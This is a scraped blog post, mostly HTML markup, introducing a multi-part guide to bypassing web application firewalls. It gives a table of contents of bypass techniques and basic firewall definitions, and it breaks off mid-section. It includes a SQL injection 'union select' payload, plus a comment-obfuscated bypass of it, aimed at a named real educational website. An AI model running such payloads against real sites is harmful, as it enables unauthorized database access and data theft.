Guide to WAF Bypass by Faisal 1337

<span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Understanding the concept is more important than learning some tricks which i guess are posted in every second WAF bypass tutorial, so in this tutorial i will try to talk more about the internal concept than just bypassing shit. Once you know the concept you can easily manipulate things and develop your own bypass methods in a much more clever way, than just being dependent on all those shitty tricks. One more thing as am not more of a theory guy, so will discuss point to point. </span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Here is the complete TOC for My WAF tutorial Series, as its normal i cant discuss all in one tutorial. I have separated whole TOC in 7 parts.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"></u></span><br /> <div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#whatisfirewall" style="background-color: white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Part - 1</a></span></u></u></div> <u style="background-color: white; border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> </u><br /> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#whatisfirewall" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">What is Firewall</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#typesoffirewalls" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">Common Type of Firewalls</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#networklayerfirewall" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] Network Layer Firewall</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#waf" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] Web Application Firewall</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#detectingwaf" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">Detecting the WAF</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#bypasses" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">Types of Approaches used and thier bypasses</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#encodingbypass" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] Different Types of Encoding</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#doubleencoding" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] Double Encoding to bypass WAF</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#casesensitvebypass" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] Bypassing Case sensitive Filters</span></a></div> <div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html#hpp" style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="background-color: white; color: black;">[*] HTTP Parameter Pollution</span></a></div> <span style="background-color: white;"><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"></u></span><br /> <div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="background-color: white; border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 2</span></u></u></div> <span style="background-color: white;"><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] White spaces Bypass</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypass for Columns seprators filters</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Comma Replace/Filter Bypass</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Comments and Inline Commenting</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypassing with Special Characters</span></div> </span><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 3</span></u></div> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypassing Keyword Replace WAF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Buffer Overflow Methods</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Changing the comment type</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypass using Null Byte Poisoning</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Change Request Method</span></div> </span><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 4</span></u></div> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Path Evasion Bypass Methods</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Parameter Evasion Bypass Methods</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Mount Origin Server to Bypass WAF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypass Proxified Applications using SSRF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] The ultimate bypass method by K.K (it actually works)</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Using Chunked Requests to bypass WAF</span></div> </span><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 5</span></u></div> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypassing Cookies based WAF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Bypassing Session based WAF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Host Header Manipulation</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Header Injection to Bypass WAF</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] SQL Injection Smuggling Attack</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Routed Query Injection WAF Bypass</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Multi Query Injection WAF Bypass</span></div> </span><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 6</span></u></div> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Understanding WAF behaviour and Bypass Accordingly</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Some Example WAFs and Practical bypass</span></div> </span><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Part - 7</span></u></div> </u><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">WAF Bypass Payloads for Fuzzing</span></div> </span></span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <u style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.blogger.com/null" name="whatisfirewall" style="background-color: white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">What is Firewall</a></u></h4> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Firewall is a security system which controls the traffic between a Network, Server or an Application. There are both Software and Hardware firewalls. </span></div> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <u style="background-color: white; border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Common Type of Firewalls</u></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">[*] Network Layer Firewall</span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">[*] Web Application Firewall</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"></u></span><br /> <div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><u style="border: 0px; box-sizing: border-box; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 24.6133346557617px; margin: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.blogger.com/null" name="networklayerfirewall" style="background-color: white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Network Layer Firewall</a></u></u></div> <u style="background-color: white; border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> </u><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Network layer firewalls, operates at a relatively low level of the TCP/IP protocol stack, not allowing packets to pass through the firewall unless they match the established rule set which could be White Listing or the Black Listing. The firewall administrator may define the rules; or default rules may be applied. This type of firewalls usually drops the packet when it does not pass the ruleset. Many times while Injecting an application when your packet gets completly dropped and shows that there was no reply from server, you can assume thats its a Network Firewall. Although the behaviour can not be very specific, it usually depends on the settings.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Here we can have an example behaviour of such Firewall.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Normal URL</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330</span></a></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Packet Dropped - No reply - Detected By Firewall</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=.0%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=.0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--</span></a></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Bypassed:</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <span style="background-color: white; color: black;"><a href="http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=.0%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"></a><a href="http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=.0%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=.0 union select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--</a></span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <u style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><a href="https://www.blogger.com/null" name="waf" style="background-color: 